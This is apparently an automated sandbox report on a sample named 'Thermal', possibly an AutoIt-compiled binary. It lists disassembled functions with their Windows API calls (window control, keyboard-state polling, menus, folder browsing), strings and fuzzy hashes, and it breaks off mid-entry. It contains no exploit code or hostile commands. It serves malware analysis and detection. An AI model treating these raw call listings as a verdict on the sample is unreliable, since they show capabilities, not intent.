Opcode Fuzzy Hash: e06d7da639ee0dbaa05bd4e944bd7325414a284f68d701fe85d809d47c03121e
Instruction Fuzzy Hash: 85110631905119ABCB25BB649C4AEEB77BCDF54720F0402A6F049961A1EF709BC58F50

Function 00185530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00185535

Part of subcall function 0014083E: timeGetTime.WINMM(?,00000002,0012C22C), ref: 00140842

Sleep.KERNEL32(0000000A), ref: 00185561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00185585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 001855A7
SetActiveWindow.USER32 ref: 001855C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 001855D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 001855F3
Sleep.KERNEL32(000000FA), ref: 001855FE
IsWindow.USER32 ref: 0018560A
EndDialog.USER32(00000000), ref: 0018561B

Strings

BUTTON, xrefs: 00185599

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: a5235d242a690014aedd6a94aa6789af0a7e4330e47be13be32035404a4d73ee
Instruction ID: 3fe4dbf9d3d7974d5da84f6e1a6d6ae8cc9d02226474a9fc8321ff7e4123edc5
Opcode Fuzzy Hash: a5235d242a690014aedd6a94aa6789af0a7e4330e47be13be32035404a4d73ee
Instruction Fuzzy Hash: A821C0B0204A45AFE7526BA0EDC9A3A3BABEB48385F141118F506859B1DF719ED0DF31

Function 0018DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

CoInitialize.OLE32(00000000), ref: 0018DC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0018DCC0
SHGetDesktopFolder.SHELL32(?), ref: 0018DCD4
CoCreateInstance.OLE32(001B3D4C,00000000,00000001,001DB86C,?), ref: 0018DD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0018DD8F
CoTaskMemFree.OLE32(?,?), ref: 0018DDE7
_memset.LIBCMT ref: 0018DE24
SHBrowseForFolderW.SHELL32(?), ref: 0018DE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0018DE83
CoTaskMemFree.OLE32(00000000), ref: 0018DE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0018DEC1
CoUninitialize.OLE32(00000001,00000000), ref: 0018DEC3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 24f1b677eff47d1d9cf7d0b38ef22bfd1fdf2e22011360a27655fc5b9cd40b96
Instruction ID: b8a3c02dbf303625ed7fc120cc4c12b8fd972372c84e8b38bb4bbff3eb3607ed
Opcode Fuzzy Hash: 24f1b677eff47d1d9cf7d0b38ef22bfd1fdf2e22011360a27655fc5b9cd40b96
Instruction Fuzzy Hash: DBB1DA75A00219AFDB04EFA4D888DAEBBB9FF48314B148559F905EB251DB30EE45CF50

Function 0018081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00180896
SetKeyboardState.USER32(?), ref: 00180901
GetAsyncKeyState.USER32(000000A0), ref: 00180921
GetKeyState.USER32(000000A0), ref: 00180938
GetAsyncKeyState.USER32(000000A1), ref: 00180967
GetKeyState.USER32(000000A1), ref: 00180978
GetAsyncKeyState.USER32(00000011), ref: 001809A4
GetKeyState.USER32(00000011), ref: 001809B2
GetAsyncKeyState.USER32(00000012), ref: 001809DB
GetKeyState.USER32(00000012), ref: 001809E9
GetAsyncKeyState.USER32(0000005B), ref: 00180A12
GetKeyState.USER32(0000005B), ref: 00180A20

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 2b2993fbfd2d0c783b67021069b55f5d03064722356bead7fa5f64677a6595df
Instruction ID: f6c9802b20194eb0148eb41d4ed7dd5a370abb2dbc2d928e44ffa7371cbd0133
Opcode Fuzzy Hash: 2b2993fbfd2d0c783b67021069b55f5d03064722356bead7fa5f64677a6595df
Instruction Fuzzy Hash: A451C521E0478C29FB76FBA088507AAABB49F16384F084599C5C6575C3DB649B8CCFA1

Function 0017CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0017CE1C
GetWindowRect.USER32(00000000,?), ref: 0017CE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0017CE8C
GetDlgItem.USER32(?,00000002), ref: 0017CE97
GetWindowRect.USER32(00000000,?), ref: 0017CEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0017CEFD
GetDlgItem.USER32(?,000003E9), ref: 0017CF0B
GetWindowRect.USER32(00000000,?), ref: 0017CF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0017CF5F
GetDlgItem.USER32(?,000003EA), ref: 0017CF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0017CF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 0017CF97

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 2f6bdb0634cff865c95db15577cfd1ff024c3e2a808402d6c78846ba4c1b3bc7
Instruction ID: 724c8617f6e4e2dafd33daccbfc21a0b5ede9fc5f0991b5de5b683a48875c1d8
Opcode Fuzzy Hash: 2f6bdb0634cff865c95db15577cfd1ff024c3e2a808402d6c78846ba4c1b3bc7
Instruction Fuzzy Hash: 4C513271B00205AFDF18CF69DD99AAEBBB6EB8C710F14822DF519D7690DB70AD408B50

Function 001223F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00121F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00122412,?,00000000,?,?,?,?,00121AA7,00000000,?), ref: 00121F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 001224AF
KillTimer.USER32(-00000001,?,?,?,?,00121AA7,00000000,?,?,00121EBE,?,?), ref: 0012254A
DestroyAcceleratorTable.USER32(00000000), ref: 0015BFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00121AA7,00000000,?,?,00121EBE,?,?), ref: 0015C018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00121AA7,00000000,?,?,00121EBE,?,?), ref: 0015C02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00121AA7,00000000,?,?,00121EBE,?,?), ref: 0015C04B
DeleteObject.GDI32(00000000), ref: 0015C05D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: dcf97618284bb4ed9df1d3a05d587389cc528eb8bcd868bed55aa28a7038a71b
Instruction ID: 63b8063849952b872ede8985ba7d4b0d87545e1e5fb944c6642523157b2aef90
Opcode Fuzzy Hash: dcf97618284bb4ed9df1d3a05d587389cc528eb8bcd868bed55aa28a7038a71b
Instruction Fuzzy Hash: 4961AD315047A0EFEB25AF14ED88B2EB7F1FB54312F108619E4524A9A0C770A8E1DF91

Function 00122581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 001229AB: GetWindowLongW.USER32(?,000000EB), ref: 001229BC

GetSysColor.USER32(0000000F), ref: 001225AF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 8cbed6d368c38791db778a39b2f2f4dcbe57101a378514508955a3693e7f2da5
Instruction ID: d7bbb894b4752458f2945ce375ab952bfc8c80feeba549824eb6c6537c2839f7
Opcode Fuzzy Hash: 8cbed6d368c38791db778a39b2f2f4dcbe57101a378514508955a3693e7f2da5
Instruction Fuzzy Hash: 3441B232104150BFDB255F28A888BBD3766FB0A331F194361FD658E1E1D7348D91DB61

Function 001329BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00140B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00132A3E,?,00008000), ref: 00140BA7

Part of subcall function 00140284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00132A58,?,00008000), ref: 001402A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00132ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00132C2C

Part of subcall function 00133EBE: _wcscpy.LIBCMT ref: 00133EF6

Part of subcall function 0014386D: _iswctype.LIBCMT ref: 00143875

Strings

Bad directive syntax error, xrefs: 0017008F
EA06, xrefs: 0016FD48
AU3!, xrefs: 00132A93
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0016FD17
Error opening the file, xrefs: 0016FD33, 0016FDAA
Unterminated string, xrefs: 001700D6

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 54b69540191c88c97d6b28d2307c7e2e87c5e72a5e2a59139ee5d9eb370711f8
Instruction ID: 933792a8762fc2f55a7e9e3198b78760b43b950e63fa22ec52ad51d8a24dabed
Opcode Fuzzy Hash: 54b69540191c88c97d6b28d2307c7e2e87c5e72a5e2a59139ee5d9eb370711f8
Instruction Fuzzy Hash: 6E0290711083419FC724EF24C881AAFBBF5BFA9354F10492DF499972A2DB31DA49CB52

Function 0018AEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,001B0980), ref: 0018AF4E
GetDriveTypeW.KERNEL32(00000061,001DB5F0,00000061), ref: 0018B018
_wcscpy.LIBCMT ref: 0018B042

Strings

removable, xrefs: 0018AF80
network, xrefs: 0018AFAC
cdrom, xrefs: 0018AF6A
unknown, xrefs: 0018AFD9
all, xrefs: 0018AF54
ramdisk, xrefs: 0018AFC2
fixed, xrefs: 0018AF96

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 4bf079e09bbe2832e6b98257620ab60bb3ead8e019389ec5df2acc209f23f566
Instruction ID: c1bca4714847cd85ecb5ba4e4129d7baf59563cb7387a46ffae84f124181cd7e
Opcode Fuzzy Hash: 4bf079e09bbe2832e6b98257620ab60bb3ead8e019389ec5df2acc209f23f566
Instruction Fuzzy Hash: A551BD701083159BC314EF14D891AAFB7A5FFA4704F90491EF5965B2A2EB30EE09CF82

Function 00124D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00124D62
__swprintf.LIBCMT ref: 00124DAC
__i64tow.LIBCMT ref: 0015DB3B

Strings

True, xrefs: 0015DAFC
0x%p, xrefs: 0015DB1D
%.15g, xrefs: 00124DA6
False, xrefs: 0015DB03

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 4864af508d7414fa4033aa3c3452a431c16ada4e19f9c36c0a2d14cfa1cd7d12
Instruction ID: aa9af50bbb38cb09554f3c4d370f86bfc9a31dd7a76a9f235aca5715a6ff81a8
Opcode Fuzzy Hash: 4864af508d7414fa4033aa3c3452a431c16ada4e19f9c36c0a2d14cfa1cd7d12
Instruction Fuzzy Hash: EE41F471604209EFEB38DF74E842E7A73E8EF15300F20446EE559DB292EB719945CB10

Function 001A7777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001A778F
CreateMenu.USER32 ref: 001A77AA
SetMenu.USER32(?,00000000), ref: 001A77B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001A7846
IsMenu.USER32(?), ref: 001A785C
CreatePopupMenu.USER32 ref: 001A7866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001A7893
DrawMenuBar.USER32 ref: 001A789B

Strings

0, xrefs: 001A7785
F, xrefs: 001A7887

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 3bf032ff7aec40042c6428648981824f8c6a21aa437e7d92d7bf50f722b109d2
Instruction ID: 653dd0b8f6fdd359c39819c559c0fa6c6dd7c2c33d119c95281059496e8a9eb6
Opcode Fuzzy Hash: 3bf032ff7aec40042c6428648981824f8c6a21aa437e7d92d7bf50f722b109d2
Instruction Fuzzy Hash: 40414778A00209EFDB20DF64D888EAABBB5FF49310F154129F945A73A0D731AA10CF50

Function 001A7AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 001A7B83
CreateCompatibleDC.GDI32(00000000), ref: 001A7B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 001A7B9D
SelectObject.GDI32(00000000,00000000), ref: 001A7BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 001A7BB0
DeleteDC.GDI32(00000000), ref: 001A7BB9
GetWindowLongW.USER32(?,000000EC), ref: 001A7BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 001A7BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 001A7BE3

Strings

static, xrefs: 001A7B1B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 58206d15bc41eefaa256e37bb41901961b973c0ba097cf84164cf42a91af4e9d
Instruction ID: 8680007a3812ab3134f91ba08be0e2cc16bc886a343929b83f681595d02bdf49
Opcode Fuzzy Hash: 58206d15bc41eefaa256e37bb41901961b973c0ba097cf84164cf42a91af4e9d
Instruction Fuzzy Hash: 853165B6104218ABDF129FA4DC49FEB3B69EF0E360F100315FA55A61E0D731E960DBA4

Function 00147030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0014706B

Part of subcall function 00148D58: __getptd_noexit.LIBCMT ref: 00148D58

__gmtime64_s.LIBCMT ref: 00147104
__gmtime64_s.LIBCMT ref: 0014713A
__gmtime64_s.LIBCMT ref: 00147157
__allrem.LIBCMT ref: 001471AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001471C9
__allrem.LIBCMT ref: 001471E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001471FE
__allrem.LIBCMT ref: 00147215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00147233
__invoke_watson.LIBCMT ref: 001472A4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 5321c5ce6f519156f82ed1f7f489152666140397b30f3e9a77c2b10e45a05a97
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 3F711A71A05717ABD714DF78CC41B6AB3A8AF25364F14423AF924E72D1E7B0D94487D0

Function 00182CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00182CE9
GetMenuItemInfoW.USER32(001E7890,000000FF,00000000,00000030), ref: 00182D4A
SetMenuItemInfoW.USER32(001E7890,00000004,00000000,00000030), ref: 00182D80
Sleep.KERNEL32(000001F4), ref: 00182D92
GetMenuItemCount.USER32(?), ref: 00182DD6
GetMenuItemID.USER32(?,00000000), ref: 00182DF2
GetMenuItemID.USER32(?,-00000001), ref: 00182E1C
GetMenuItemID.USER32(?,?), ref: 00182E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00182EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00182EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00182EDC

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 9852e8ed37cdd9ec9a39528ceb7800ff1c67b649721f3339dc9426bfa3a964cf
Instruction ID: f8c83fa758c2583c7771d15212572aa392a6a1e5db25fc40dc499c32148c9596
Opcode Fuzzy Hash: 9852e8ed37cdd9ec9a39528ceb7800ff1c67b649721f3339dc9426bfa3a964cf
Instruction Fuzzy Hash: BD61AF70900249AFDB22EFA4CC88EBFBBB9EB44304F140259F851A7291D731AE45DF24

Function 001A7548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 001A75CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 001A75CD
GetWindowLongW.USER32(?,000000F0), ref: 001A75F1
_memset.LIBCMT ref: 001A7602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 001A7614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 001A768C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 0717ba7371e6878a0bd5e3ee63f24827c7f660b1654216f76f840cc87ceb9a9d
Instruction ID: e758d952efeb9d87dcfe98eb3d6eab68eb5be9848d8737d8ddd2d58396d53189
Opcode Fuzzy Hash: 0717ba7371e6878a0bd5e3ee63f24827c7f660b1654216f76f840cc87ceb9a9d
Instruction Fuzzy Hash: 99618D79904248AFDB11DFA4CC85EEE77F8EB09710F10019AFA14AB2E1D771AE41DB60

Function 001777B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 001777DD
SafeArrayAllocData.OLEAUT32(?), ref: 00177836
VariantInit.OLEAUT32(?), ref: 00177848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00177868
VariantCopy.OLEAUT32(?,?), ref: 001778BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 001778CF
VariantClear.OLEAUT32(?), ref: 001778E4
SafeArrayDestroyData.OLEAUT32(?), ref: 001778F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001778FA
VariantClear.OLEAUT32(?), ref: 0017790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00177917

Memory Dump Source

